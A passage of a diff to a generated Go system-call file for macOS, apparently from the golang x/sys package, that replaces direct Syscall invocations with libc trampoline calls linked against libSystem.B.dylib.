- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func futimes(fd int, timeval *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMES, uintptr(fd), uintptr(unsafe.Pointer(timeval)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_futimes_trampoline), uintptr(fd), uintptr(unsafe.Pointer(timeval)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_futimes_trampoline()
-+
-+//go:linkname libc_futimes libc_futimes
-+//go:cgo_import_dynamic libc_futimes futimes "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := syscall_syscall(funcPC(libc_poll_trampoline), uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_poll_trampoline()
-+
-+//go:linkname libc_poll libc_poll
-+//go:cgo_import_dynamic libc_poll poll "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Madvise(b []byte, behav int) (err error) {
-@@ -273,13 +362,18 @@ func Madvise(b []byte, behav int) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(behav))
-+ _, _, e1 := syscall_syscall(funcPC(libc_madvise_trampoline), uintptr(_p0), uintptr(len(b)), uintptr(behav))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_madvise_trampoline()
-+
-+//go:linkname libc_madvise libc_madvise
-+//go:cgo_import_dynamic libc_madvise madvise "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mlock(b []byte) (err error) {
-@@ -289,23 +383,33 @@ func Mlock(b []byte) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mlock_trampoline), uintptr(_p0), uintptr(len(b)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mlock_trampoline()
-+
-+//go:linkname libc_mlock libc_mlock
-+//go:cgo_import_dynamic libc_mlock mlock "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mlockall_trampoline), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mlockall_trampoline()
-+
-+//go:linkname libc_mlockall libc_mlockall
-+//go:cgo_import_dynamic libc_mlockall mlockall "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mprotect(b []byte, prot int) (err error) {
-@@ -315,13 +419,18 @@ func Mprotect(b []byte, prot int) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-+ _, _, e1 := syscall_syscall(funcPC(libc_mprotect_trampoline), uintptr(_p0), uintptr(len(b)), uintptr(prot))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mprotect_trampoline()
-+
-+//go:linkname libc_mprotect libc_mprotect
-+//go:cgo_import_dynamic libc_mprotect mprotect "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Msync(b []byte, flags int) (err error) {
-@@ -331,13 +440,18 @@ func Msync(b []byte, flags int) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-+ _, _, e1 := syscall_syscall(funcPC(libc_msync_trampoline), uintptr(_p0), uintptr(len(b)), uintptr(flags))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_msync_trampoline()
-+
-+//go:linkname libc_msync libc_msync
-+//go:cgo_import_dynamic libc_msync msync "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Munlock(b []byte) (err error) {
-@@ -347,37 +461,52 @@ func Munlock(b []byte) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_munlock_trampoline), uintptr(_p0), uintptr(len(b)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_munlock_trampoline()
-+
-+//go:linkname libc_munlock libc_munlock
-+//go:cgo_import_dynamic libc_munlock munlock "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_munlockall_trampoline), 0, 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_munlockall_trampoline()
-+
-+//go:linkname libc_munlockall libc_munlockall
-+//go:cgo_import_dynamic libc_munlockall munlockall "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+func getattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := syscall_syscall6(funcPC(libc_getattrlist_trampoline), uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getattrlist_trampoline()
-+
-+//go:linkname libc_getattrlist libc_getattrlist
-+//go:cgo_import_dynamic libc_getattrlist getattrlist "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func pipe() (r int, w int, err error) {
-- r0, r1, e1 := RawSyscall(SYS_PIPE, 0, 0, 0)
-+ r0, r1, e1 := syscall_rawSyscall(funcPC(libc_pipe_trampoline), 0, 0, 0)
- r = int(r0)
- w = int(r1)
- if e1 != 0 {
-@@ -386,26 +515,282 @@ func pipe() (r int, w int, err error) {
- return
- }
-
-+func libc_pipe_trampoline()
-+
-+//go:linkname libc_pipe libc_pipe
-+//go:cgo_import_dynamic libc_pipe pipe "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getxattr(path string, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_getxattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_getxattr_trampoline()
-+
-+//go:linkname libc_getxattr libc_getxattr
-+//go:cgo_import_dynamic libc_getxattr getxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fgetxattr(fd int, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_fgetxattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fgetxattr_trampoline()
-+
-+//go:linkname libc_fgetxattr libc_fgetxattr
-+//go:cgo_import_dynamic libc_fgetxattr fgetxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setxattr(path string, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_setxattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_setxattr_trampoline()
-+
-+//go:linkname libc_setxattr libc_setxattr
-+//go:cgo_import_dynamic libc_setxattr setxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fsetxattr(fd int, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fsetxattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fsetxattr_trampoline()
-+
-+//go:linkname libc_fsetxattr libc_fsetxattr
-+//go:cgo_import_dynamic libc_fsetxattr fsetxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func removexattr(path string, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_removexattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_removexattr_trampoline()
-+
-+//go:linkname libc_removexattr libc_removexattr
-+//go:cgo_import_dynamic libc_removexattr removexattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fremovexattr(fd int, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_fremovexattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fremovexattr_trampoline()
-+
-+//go:linkname libc_fremovexattr libc_fremovexattr
-+//go:cgo_import_dynamic libc_fremovexattr fremovexattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func listxattr(path string, dest *byte, size int, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_listxattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_listxattr_trampoline()
-+
-+//go:linkname libc_listxattr libc_listxattr
-+//go:cgo_import_dynamic libc_listxattr listxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func flistxattr(fd int, dest *byte, size int, options int) (sz int, err error) {
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_flistxattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_flistxattr_trampoline()
-+
-+//go:linkname libc_flistxattr libc_flistxattr
-+//go:cgo_import_dynamic libc_flistxattr flistxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := syscall_syscall6(funcPC(libc_setattrlist_trampoline), uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_setattrlist_trampoline()
-+
-+//go:linkname libc_setattrlist libc_setattrlist
-+//go:cgo_import_dynamic libc_setattrlist setattrlist "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fcntl(fd int, cmd int, arg int) (val int, err error) {
-+ r0, _, e1 := syscall_syscall(funcPC(libc_fcntl_trampoline), uintptr(fd), uintptr(cmd), uintptr(arg))
-+ val = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fcntl_trampoline()
-+
-+//go:linkname libc_fcntl libc_fcntl
-+//go:cgo_import_dynamic libc_fcntl fcntl "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func kill(pid int, signum int, posix int) (err error) {
-- _, _, e1 := Syscall(SYS_KILL, uintptr(pid), uintptr(signum), uintptr(posix))
-+ _, _, e1 := syscall_syscall(funcPC(libc_kill_trampoline), uintptr(pid), uintptr(signum), uintptr(posix))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_kill_trampoline()
-+
-+//go:linkname libc_kill libc_kill
-+//go:cgo_import_dynamic libc_kill kill "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-+ _, _, e1 := syscall_syscall(funcPC(libc_ioctl_trampoline), uintptr(fd), uintptr(req), uintptr(arg))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_ioctl_trampoline()
-+
-+//go:linkname libc_ioctl libc_ioctl
-+//go:cgo_import_dynamic libc_ioctl ioctl "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_sysctl_trampoline), uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_sysctl_trampoline()
-+
-+//go:linkname libc_sysctl libc_sysctl
-+//go:cgo_import_dynamic libc_sysctl sysctl "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sendfile(infd int, outfd int, offset int64, len *int64, hdtr unsafe.Pointer, flags int) (err error) {
-+ _, _, e1 := syscall_syscall6(funcPC(libc_sendfile_trampoline), uintptr(infd), uintptr(outfd), uintptr(offset), uintptr(unsafe.Pointer(len)), uintptr(hdtr), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_sendfile_trampoline()
-+
-+//go:linkname libc_sendfile libc_sendfile
-+//go:cgo_import_dynamic libc_sendfile sendfile "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Access(path string, mode uint32) (err error) {
-@@ -414,23 +799,33 @@ func Access(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_ACCESS, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_access_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_access_trampoline()
-+
-+//go:linkname libc_access libc_access
-+//go:cgo_import_dynamic libc_access access "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Adjtime(delta *Timeval, olddelta *Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_ADJTIME, uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_adjtime_trampoline), uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_adjtime_trampoline()
-+
-+//go:linkname libc_adjtime libc_adjtime
-+//go:cgo_import_dynamic libc_adjtime adjtime "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chdir(path string) (err error) {
-@@ -439,13 +834,18 @@ func Chdir(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chdir_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chdir_trampoline()
-+
-+//go:linkname libc_chdir libc_chdir
-+//go:cgo_import_dynamic libc_chdir chdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chflags(path string, flags int) (err error) {
-@@ -454,13 +854,18 @@ func Chflags(path string, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHFLAGS, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chflags_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chflags_trampoline()
-+
-+//go:linkname libc_chflags libc_chflags
-+//go:cgo_import_dynamic libc_chflags chflags "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chmod(path string, mode uint32) (err error) {
-@@ -469,13 +874,18 @@ func Chmod(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHMOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chmod_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chmod_trampoline()
-+
-+//go:linkname libc_chmod libc_chmod
-+//go:cgo_import_dynamic libc_chmod chmod "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chown(path string, uid int, gid int) (err error) {
-@@ -484,13 +894,18 @@ func Chown(path string, uid int, gid int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
-+ _, _, e1 := syscall_syscall(funcPC(libc_chown_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chown_trampoline()
-+
-+//go:linkname libc_chown libc_chown
-+//go:cgo_import_dynamic libc_chown chown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chroot(path string) (err error) {
-@@ -499,27 +914,52 @@ func Chroot(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chroot_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_chroot_trampoline()
-+
-+//go:linkname libc_chroot libc_chroot
-+//go:cgo_import_dynamic libc_chroot chroot "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ClockGettime(clockid int32, time *Timespec) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_clock_gettime_trampoline), uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_clock_gettime_trampoline()
-+
-+//go:linkname libc_clock_gettime libc_clock_gettime
-+//go:cgo_import_dynamic libc_clock_gettime clock_gettime "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_close_trampoline), uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_close_trampoline()
-+
-+//go:linkname libc_close libc_close
-+//go:cgo_import_dynamic libc_close close "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Dup(fd int) (nfd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(fd), 0, 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_dup_trampoline), uintptr(fd), 0, 0)
- nfd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -527,16 +967,26 @@ func Dup(fd int) (nfd int, err error) {
- return
- }
-
-+func libc_dup_trampoline()
-+
-+//go:linkname libc_dup libc_dup
-+//go:cgo_import_dynamic libc_dup dup "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Dup2(from int, to int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(from), uintptr(to), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_dup2_trampoline), uintptr(from), uintptr(to), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_dup2_trampoline()
-+
-+//go:linkname libc_dup2 libc_dup2
-+//go:cgo_import_dynamic libc_dup2 dup2 "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Exchangedata(path1 string, path2 string, options int) (err error) {
-@@ -550,20 +1000,30 @@ func Exchangedata(path1 string, path2 string, options int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_EXCHANGEDATA, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
-+ _, _, e1 := syscall_syscall(funcPC(libc_exchangedata_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_exchangedata_trampoline()
-+
-+//go:linkname libc_exchangedata libc_exchangedata
-+//go:cgo_import_dynamic libc_exchangedata exchangedata "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Exit(code int) {
-- Syscall(SYS_EXIT, uintptr(code), 0, 0)
-+ syscall_syscall(funcPC(libc_exit_trampoline), uintptr(code), 0, 0)
- return
- }
-
-+func libc_exit_trampoline()
-+
-+//go:linkname libc_exit libc_exit
-+//go:cgo_import_dynamic libc_exit exit "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-@@ -572,43 +1032,63 @@ func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_faccessat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_faccessat_trampoline()
-+
-+//go:linkname libc_faccessat libc_faccessat
-+//go:cgo_import_dynamic libc_faccessat faccessat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchdir_trampoline), uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchdir_trampoline()
-+
-+//go:linkname libc_fchdir libc_fchdir
-+//go:cgo_import_dynamic libc_fchdir fchdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchflags(fd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHFLAGS, uintptr(fd), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchflags_trampoline), uintptr(fd), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchflags_trampoline()
-+
-+//go:linkname libc_fchflags libc_fchflags
-+//go:cgo_import_dynamic libc_fchflags fchflags "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchmod_trampoline), uintptr(fd), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchmod_trampoline()
-+
-+//go:linkname libc_fchmod libc_fchmod
-+//go:cgo_import_dynamic libc_fchmod fchmod "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
-@@ -617,23 +1097,33 @@ func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fchmodat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchmodat_trampoline()
-+
-+//go:linkname libc_fchmodat libc_fchmodat
